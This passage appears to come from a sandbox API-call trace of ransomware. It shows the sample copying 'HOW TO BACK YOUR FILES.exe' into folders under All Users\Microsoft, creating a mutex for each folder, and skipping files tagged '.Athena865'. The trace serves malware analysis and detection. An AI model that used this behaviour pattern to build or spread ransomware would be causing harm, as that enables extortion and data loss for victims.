lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.982] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.983] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\officesoftwareprotectionplatform\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.983] GetLastError () returned 0x0 [0102.983] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.983] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.984] CloseHandle (hObject=0xf4) returned 1 [0102.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.984] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.984] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe20dd280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe20dd280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.984] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.984] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.984] lstrcpyW (in: lpString1=0x241e8e6, lpString2="Cache" | out: lpString1="Cache") returned="Cache" [0102.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a718 [0102.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x5430e8 [0102.984] lstrcatW (in: lpString1="Cache", lpString2="\\" | out: lpString1="Cache\\") returned="Cache\\" [0102.984] lstrcatW (in: lpString1="Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Cache\\HOW TO BACK YOUR FILES.exe") returned="Cache\\HOW TO BACK YOUR FILES.exe" [0102.984] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.985] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.985] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.985] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xe20dd280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x469ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat.Athena865", cAlternateFileName="TOKENS~1.ATH")) returned 1 [0102.985] lstrcmpiW (lpString1="tokens.dat.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.985] lstrcmpiW (lpString1="tokens.dat.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.985] lstrcpyW (in: lpString1=0x241e8e6, lpString2="tokens.dat.Athena865" | out: lpString1="tokens.dat.Athena865") returned="tokens.dat.Athena865" [0102.985] lstrlenW (lpString="tokens.dat.Athena865") returned 20 [0102.985] lstrlenW (lpString="Athena865") returned 9 [0102.985] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.985] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xe20dd280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x469ee0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tokens.dat.Athena865", cAlternateFileName="TOKENS~1.ATH")) returned 0 [0102.985] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.985] ReleaseMutex (hMutex=0xec) returned 1 [0102.985] CloseHandle (hObject=0xec) returned 1 [0102.986] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\RAC" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\RAC") returned="C:\\Documents and Settings\\All Users\\Microsoft\\RAC" [0102.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ea50 | out: hHeap=0x4f0000) returned 1 [0102.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a730 | out: hHeap=0x4f0000) returned 1 [0102.986] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\RAC") returned 49 [0102.986] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5ADDD3B305612987BE926B8078169219") returned 0xec [0102.986] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.986] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\RAC" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\RAC") returned="C:\\Documents and Settings\\All Users\\Microsoft\\RAC" [0102.986] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.986] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.986] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.987] GetLastError () returned 0x0 [0102.987] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.987] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.988] CloseHandle (hObject=0xf4) returned 1 [0102.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.988] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.988] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc48100c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.988] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.988] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.988] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Outbound" | out: lpString1="Outbound") returned="Outbound" [0102.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a730 [0102.988] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502228 [0102.988] lstrcatW (in: lpString1="Outbound", lpString2="\\" | out: lpString1="Outbound\\") returned="Outbound\\" [0102.988] lstrcatW (in: lpString1="Outbound\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Outbound\\HOW TO BACK YOUR FILES.exe") returned="Outbound\\HOW TO BACK YOUR FILES.exe" [0102.988] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\Outbound\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\outbound\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.989] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe22801a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe22801a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0102.989] lstrcmpiW (lpString1="PublishedData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.989] lstrcmpiW (lpString1="PublishedData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.989] lstrcpyW (in: lpString1=0x241e8ac, lpString2="PublishedData" | out: lpString1="PublishedData") returned="PublishedData" [0102.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a688 [0102.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x5194d0 [0102.989] lstrcatW (in: lpString1="PublishedData", lpString2="\\" | out: lpString1="PublishedData\\") returned="PublishedData\\" [0102.989] lstrcatW (in: lpString1="PublishedData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PublishedData\\HOW TO BACK YOUR FILES.exe") returned="PublishedData\\HOW TO BACK YOUR FILES.exe" [0102.989] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\PublishedData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\publisheddata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.990] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe22a6300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe22a6300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0102.990] lstrcmpiW (lpString1="StateData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.990] lstrcmpiW (lpString1="StateData", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.990] lstrcpyW (in: lpString1=0x241e8ac, lpString2="StateData" | out: lpString1="StateData") returned="StateData" [0102.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a670 [0102.990] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x5021a8 [0102.990] lstrcatW (in: lpString1="StateData", lpString2="\\" | out: lpString1="StateData\\") returned="StateData\\" [0102.990] lstrcatW (in: lpString1="StateData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="StateData\\HOW TO BACK YOUR FILES.exe") returned="StateData\\HOW TO BACK YOUR FILES.exe" [0102.990] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\RAC\\StateData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\rac\\statedata\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.990] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xad98de00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xad98de00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0102.990] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.990] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.991] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Search" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Search") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Search" [0102.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d840 | out: hHeap=0x4f0000) returned 1 [0102.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a748 | out: hHeap=0x4f0000) returned 1 [0102.991] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\Search") returned 52 [0102.991] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FD5C64DA5A638FD9D8800F0936800872") returned 0xec [0102.991] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.991] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\Search" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\Search") returned="C:\\Documents and Settings\\All Users\\Microsoft\\Search" [0102.991] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.991] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\search\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.991] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Search\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\search\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.992] GetLastError () returned 0x0 [0102.992] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.992] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.992] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.992] CloseHandle (hObject=0xf4) returned 1 [0102.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.993] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.993] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.993] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.993] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.993] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Data" | out: lpString1="Data") returned="Data" [0102.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a748 [0102.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502128 [0102.993] lstrcatW (in: lpString1="Data", lpString2="\\" | out: lpString1="Data\\") returned="Data\\" [0102.993] lstrcatW (in: lpString1="Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Data\\HOW TO BACK YOUR FILES.exe") returned="Data\\HOW TO BACK YOUR FILES.exe" [0102.993] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\Search\\Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\search\\data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.994] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.994] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.994] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc48100c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc48100c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.994] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.994] ReleaseMutex (hMutex=0xec) returned 1 [0102.994] CloseHandle (hObject=0xec) returned 1 [0102.994] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures" [0102.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0102.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a760 | out: hHeap=0x4f0000) returned 1 [0102.994] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures") returned 67 [0102.994] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4130E2B37021FC76EC9756BA257AC4F5") returned 0xec [0102.994] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.994] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures" | out: lpString1="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures" [0102.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.994] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.995] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\user account pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.995] GetLastError () returned 0x0 [0102.995] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.995] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546fd0 [0102.995] ReadFile (in: hFile=0xf4, lpBuffer=0x546fd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546fd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.996] CloseHandle (hObject=0xf4) returned 1 [0102.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546fd0 | out: hHeap=0x4f0000) returned 1 [0102.996] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.996] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe2318720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2318720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.996] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.996] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.996] lstrcpyW (in: lpString1=0x241e8d0, lpString2="5p5NrGJn0jS HALPmcxz.dat.Athena865" | out: lpString1="5p5NrGJn0jS HALPmcxz.dat.Athena865") returned="5p5NrGJn0jS HALPmcxz.dat.Athena865" [0102.996] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat.Athena865") returned 34 [0102.996] lstrlenW (lpString="Athena865") returned 9 [0102.996] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.996] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe22f25c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe22f25c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0102.996] lstrcmpiW (lpString1="Default Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.996] lstrcmpiW (lpString1="Default Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.996] lstrcpyW (in: lpString1=0x241e8d0, lpString2="Default Pictures" | out: lpString1="Default Pictures") returned="Default Pictures" [0102.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a760 [0102.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x5431a0 [0102.996] lstrcatW (in: lpString1="Default Pictures", lpString2="\\" | out: lpString1="Default Pictures\\") returned="Default Pictures\\" [0102.996] lstrcatW (in: lpString1="Default Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Default Pictures\\HOW TO BACK YOUR FILES.exe") returned="Default Pictures\\HOW TO BACK YOUR FILES.exe" [0102.997] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\user account pictures\\default pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.997] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, 